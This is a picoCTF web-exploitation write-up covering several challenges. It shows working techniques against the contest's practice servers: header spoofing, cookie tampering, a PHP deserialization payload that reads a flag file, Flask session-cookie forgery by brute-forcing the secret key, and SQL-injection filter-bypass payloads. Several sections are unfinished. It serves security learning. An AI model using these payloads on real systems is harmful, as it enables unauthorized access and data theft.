Web Exploitation
{"authors": ["y4y", "ret2basic"]}
Solved by ret2basic
I must have been sleep hacking or something, I don't remember visiting all of these sites... http://mercury.picoctf.net:52731/ (try a couple different browsers if it's not working right)
Search for "history" in source code:

history
Solved by ret2basic
Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:21939/
Change the HTTP method to
HEAD
:
HEAD
Solved by ret2basic
Enter "snickerdoodle" in the searching box and now we are redirected to
/check
:
/check
We are assigned a cookie
name=0
. Change this cookie to name=1
, name=2
, and so on. Eventually the flag is shown when name=18
:
flag
Solved by ret2basic
There is some interesting information hidden around this site http://mercury.picoctf.net:44070/. Can you find it?
Flag is divided into 5 parts:
- 1.View source code.
- 2.Examine
mycss.css
. - 3.Examine
/robots.txt
. - 4.Examine
/.htaccess
. - 5.Examine
/.DS_Store
.
Solved by ret2basic
The challenge says:

PicoBrowser
Set
User-Agent: PicoBrowser
to satisfy the browser requirement:
User-Agent
Set
Referer: http://mercury.picoctf.net:1270/
to satisfy the same-site requirement:
Referer
Set
Date: Wed, 21 Oct 2018 07:28:00 GMT
to satisfy the date requirement:
Date
Set
DNT: 1
to satisfy the Do-Not-Track requirement:
DNT
Set
X-Forwarded-For: 31.44.224.128
to satisfy the geographic location requirement:
X-Forwarded-For
Set
Accept-Language: en-US,en;q=0.9, sv
to satisfy the language requirement:
Accept-Language
Solved by y4y
View source code:

Source Code
'use strict';
const _0x402c = ["value", "2wfTpTR", "instantiate", "275341bEPcme", "innerHTML", "1195047NznhZg", "1qfevql", "input", "1699808QuoWhA", "Correct!", "check_flag", "Incorrect!", "./JIFxzHyW8W", "23SMpAuA", "802698XOMSrr", "charCodeAt", "474547vVoGDO", "getElementById", "instance", "copy_char", "43591XxcWUl", "504454llVtzW", "arrayBuffer", "2NIQmVj", "result"];
const _0x4e0e = function(url, whensCollection) {
/** @type {number} */
url = url - 470;
let _0x402c6f = _0x402c[url];
return _0x402c6f;
};
(function(data, oldPassword) {
const toMonths = _0x4e0e;
for (; !![];) {
try {
const userPsd = -parseInt(toMonths(491)) + parseInt(toMonths(493)) + -parseInt(toMonths(475)) * -parseInt(toMonths(473)) + -parseInt(toMonths(482)) * -parseInt(toMonths(483)) + -parseInt(toMonths(478)) * parseInt(toMonths(480)) + parseInt(toMonths(472)) * parseInt(toMonths(490)) + -parseInt(toMonths(485));
if (userPsd === oldPassword) {
break;
} else {
data["push"](data["shift"]());
}
} catch (_0x41d31a) {
data["push"](data["shift"]());
}
}
})(_0x402c, 627907);
let exports;
(async() => {
const findMiddlePosition = _0x4e0e;
let leftBranch = await fetch(findMiddlePosition(489));
let rightBranch = await WebAssembly[findMiddlePosition(479)](await leftBranch[findMiddlePosition(474)]());
let module = rightBranch[findMiddlePosition(470)];
exports = module["exports"];
})();
/**
* @return {undefined}
*/
function onButtonPress() {
const navigatePop = _0x4e0e;
let params = document["getElementById"](navigatePop(484))[navigatePop(477)];
for (let i = 0; i < params["length"]; i++) {
exports[navigatePop(471)](params[navigatePop(492)](i), i);
}
exports["copy_char"](0, params["length"]);
if (exports[navigatePop(487)]() == 1) {
document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(486);
} else {
document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(488);
}
}
;
Note that there is a part of the URI in the array
_0x402c
:
_0x402c
Here
./JIFxzHyW8W
should be some file located in the root directory. Download this file:wget http://mercury.picoctf.net:55336/JIFxzHyW8W
It turns out that this file is a WebAssembly binary. The flag can be extracted with
strings
:
flag
Someone, solve it!
I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! http://mercury.picoctf.net:10868/
Todo!
Solved by ret2basic
I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:11590/
Corkami has an amazing writeup on all kinds of collisions on Github. For this challenge, simply use poeMD5_A.pdf and poeMD5_B.pdf:

Upload
Once the check is passed, we are given the PHP source code together with the flag:

flag
The source code checks if the uploaded pdfs are different but with the same MD5 hash. This check is not sufficient anymore due to PDF MD5 collision.
Solved by ret2basic
This level won't be as easy as Some Assembly Require 1. To learn more about WebAssembly Text Format, read Understanding WebAssembly text format.
'use strict';
const _0x6d8f = ["copy_char", "value", "207aLjBod", "1301420SaUSqf", "233ZRpipt", "2224QffgXU", "check_flag", "408533hsoVYx", "instance", "278338GVFUrH", "Correct!", "549933ZVjkwI", "innerHTML", "charCodeAt", "./aD8SvhyVkb", "result", "977AzKzwq", "Incorrect!", "exports", "length", "getElementById", "1jIrMBu", "input", "615361geljRK"];
const _0x5c00 = function(url, whensCollection) {
/** @type {number} */
url = url - 195;
let _0x6d8fc4 = _0x6d8f[url];
return _0x6d8fc4;
};
(function(data, oldPassword) {
const toMonths = _0x5c00;
for (; !![];) {
try {
const userPsd = -parseInt(toMonths(200)) * -parseInt(toMonths(201)) + -parseInt(toMonths(205)) + parseInt(toMonths(207)) + parseInt(toMonths(195)) + -parseInt(toMonths(198)) * parseInt(toMonths(212)) + parseInt(toMonths(203)) + -parseInt(toMonths(217)) * parseInt(toMonths(199));
if (userPsd === oldPassword) {
break;
} else {
data["push"](data["shift"]());
}
} catch (_0x4f8a) {
data["push"](data["shift"]());
}
}
})(_0x6d8f, 310022);
let exports;
(async() => {
const edgeId = _0x5c00;
let _0x1adb5f = await fetch(edgeId(210));
let rpm_traffic = await WebAssembly["instantiate"](await _0x1adb5f["arrayBuffer"]());
let updatedEdgesById = rpm_traffic[edgeId(204)];
exports = updatedEdgesById[edgeId(214)];
})();
/**
* @return {undefined}
*/
function onButtonPress() {
const navigatePop = _0x5c00;
let params = document[navigatePop(216)](navigatePop(218))[navigatePop(197)];
for (let i = 0; i < params["length"]; i++) {
exports[navigatePop(196)](params[navigatePop(209)](i), i);
}
exports["copy_char"](0, params[navigatePop(215)]);
if (exports[navigatePop(202)]() == 1) {
document["getElementById"](navigatePop(211))[navigatePop(208)] = navigatePop(206);
} else {
document[navigatePop(216)](navigatePop(211))["innerHTML"] = navigatePop(213);
}
}
;
Find the hidden binary in the array
_0x6d8f
:
_0x6d8f
Download it:
wget http://mercury.picoctf.net:61778/aD8SvhyVkb
# Install wabt
$ git clone --recursive https://github.com/WebAssembly/wabt
$ cd wabt
$ apt install cmake
$ make
# Convert wasm binary to text format
$ <wabt_path>/bin/wasm2wat aD8SvhyVkb -o level2.wat
A string that looks like an encrypted flag can be found at the very end of the assembly:

Encrypted
Func 2 is
check_flag
:
check_flag
Func 2:
(func (;2;) (type 2) (result i32)
(local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
i32.const 0
local.set 0
i32.const 1072
local.set 1
i32.const 1024
local.set 2
local.get 2
local.get 1
call 1
local.set 3
local.get 3
local.set 4
local.get 0
local.set 5
local.get 4
local.get 5
i32.ne
local.set 6
i32.const -1
local.set 7
local.get 6
local.get 7
i32.xor
local.set 8
i32.const 1
local.set 9
local.get 8
local.get 9
i32.and
local.set 10
local.get 10
return)
Solved by ret2basic
Check
robots.txt
:
robots.txt
Visiting
http://mercury.picoctf.net:5428/admin.phps
returns "Not Found", but at least we learn that there are .phps
files on the server.A quick note on
.php
and .phps
:- When you visit a
.php
file from the browser, the server "runs" the code behind the sceen and returns you the output. - When you visit a
.phps
file from the browser, the server shows you the actual source code.
Although
admin.phps
does not exist, we could try visiting index.phps
to get the source code of the index
page:index.phps
:<?php
require_once("cookie.php");
if(isset($_POST["user"]) && isset($_POST["pass"])){
$con = new SQLite3("../users.db");
$username = $_POST["user"];
$password = $_POST["pass"];
$perm_res = new permissions($username, $password);
if ($perm_res->is_guest() || $perm_res->is_admin()) {
setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
header("Location: authentication.php");
die();
} else {
$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
}
}
?>
It tells us the existence of
cookie.php
and authentication.php
. Grab the source code using the same method:<?php
session_start();
class permissions
{
public $username;
public $password;
function __construct($u, $p) {
$this->username = $u;
$this->password = $p;
}
function __toString() {
return $u.$p;
}
function is_guest() {
$guest = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] != 1) {
$guest = true;
}
}
return $guest;
}
function is_admin() {
$admin = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] == 1) {
$admin = true;
}
}
return $admin;
}
}
if(isset($_COOKIE["login"])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
}
catch(Error $e){
die("Deserialization error. ".$perm);
}
}
?>
<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
$msg = "Welcome admin";
$log = new access_log("access.log");
$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
$msg = "Welcome guest";
}
?>
The insecure deserialization is triggered by the
unserialize()
function in cookie.phps
:
unserialize()
The idea is to utilize the
access_log
class in authentication.phps
. This class is supposed to read the access log, but we could let it dump the content of ../flag
. The payload object is:base64_encode(serialize(new access_log("../flag")))
And what made this attack viable is the
die("...".$perm);
function call, as well as the __toString()
method in the class access_log
, __toString
tells PHP how the object can be interpretered as string. If you take a closer look, the __toString()
in access_log
class will return the value of read_log
function. Since the access_log
class does not have is_admin
and is_guest
method, it will result an error, and then the die
function will print a debug message. Otherwise it would not return anything as file_get_contents
simply does not output anything.<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
// require_once("cookie.php");
// if(isset($perm) && $perm->is_admin()){
// $msg = "Welcome admin";
// $log = new access_log("access.log");
// $log->append_to_log("Logged in at ".date("Y-m-d")."\n");
// } else {
// $msg = "Welcome guest";
// }
echo base64_encode(serialize(new access_log("../flag")))
?>
Solved by ret2basic
Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:65344/
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)
@app.route("/")
def main():
if session.get("very_auth"):
check = session["very_auth"]
if check == "blank":
return render_template("index.html", title=title)
else:
return make_response(redirect("/display"))
else:
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
@app.route("/search", methods=["GET", "POST"])
def search():
if "name" in request.form and request.form["name"] in cookie_names:
resp = make_response(redirect("/display"))
session["very_auth"] = request.form["name"]
return resp
else:
message = "That doesn't appear to be a valid cookie."
category = "danger"
flash(message, category)
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
@app.route("/reset")
def reset():
resp = make_response(redirect("/"))
session.pop("very_auth", None)
return resp
@app.route("/display", methods=["GET"])
def flag():
if session.get("very_auth"):
check = session["very_auth"]
if check == "admin":
resp = make_response(render_template("flag.html", value=flag_value, title=title))
return resp
flash("That is a cookie! Not very special though...", "success")
return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
else:
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
if __name__ == "__main__":
app.run()
To learn about how to forge Flask session cookie, read the following article:
https://blog.paradoxis.nl/defeating-flasks-session-management-65706ba9d3ce
blog.paradoxis.nl
Baking Flask cookies with your secrets
The author of this article even built an automation tool named Flask Unsign. We will be using this tool in this challenge.
First, let's identify the vulnerability. The secret key used is predictable:

Secret Key
We could simply brute-force all possible secret keys and see if any of them works.
Examine the session cookie:

Session Cookie
This cookie evaluates to
{'very_auth': 'blank'}
, and our objective is forging a cookie that evaluates to {'very_auth': 'admin'}
.Create
cookie.txt
:echo "eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YFgTEQ.hyDKpdP4JROJn2gHLDoLlaEAI5g" > cookie.txt
Create
wordlist.txt
:#!/usr/bin/env python3
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
with open("wordlist.txt", "w") as f:
for cookie in cookie_names:
f.write(cookie + "\n")
Use Flask Unsign:

Flask Unsign
Someone, solve it!
Todo!
Solved by y4y
This website looks familiar... Log in as admin Site: http://mercury.picoctf.net:61434/ Filter: http://mercury.picoctf.net:61434/filter.php
Filter:
or
and
true
false
union
like
=
>
<
;
--
/*
*/
admin
This challenge builds upon picoCTF 2020 Mini-Competition Web Gauntlet. Grab the payload and read the explanation.
In that payload we used
/**/
(empty comment) to represent space. Note that this challenge does not filter spaces at all. We could simply delete all /**/
:' || X'61646D696E'%00
The corresponding SQL query becomes:
SELECT username, password FROM users WHERE username='' || X'61646D696E'' AND password='a';
Send the payload as username and password can be anything. Send this POST request with burp. This payload also solves Web Gauntlet 3.
An even simpler payload is
adm'||'in'%00
, where we use ||
to concatenate strings and %00
(null byte) instead ;
to terminate the SQL statement. Check out picoCTF 2020 Mini-Competition Web Gauntlet Round 5.<?php
session_start();
if (!isset($_SESSION["winner2"])) {
$_SESSION["winner2"] = 0;
}
$win = $_SESSION["winner2"];
$view = ($_SERVER["PHP_SELF"] == "/filter.php");
if ($win === 0) {
$filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");
if ($view) {
echo "Filters: ".implode(" ", $filter)."<br/>";
}
} else if ($win === 1) {
if ($view) {
highlight_file("filter.php");
}
$_SESSION["winner2"] = 0; // <- Don't refresh!
} else {
$_SESSION["winner2"] = 0;
}
// picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}
?>
Solved by: y4y

Login page
Immediately it asks us to login, and notice the
Register
on the top left corner? Why the hell not? And spoiler, this isn't part of the actual challenge. Upon loggin in, we see some kind of donation page.
Donation page
I first tried some letters but apparently it's doing some kind of checking. Since I didn't seem to have any credits so I just entered a huge number, and nothing seemed to happen. Then I tried to intercept the request and realized there is a captcha included in this form. Lucky for us, this captcha is custom generated and not by google.

Burp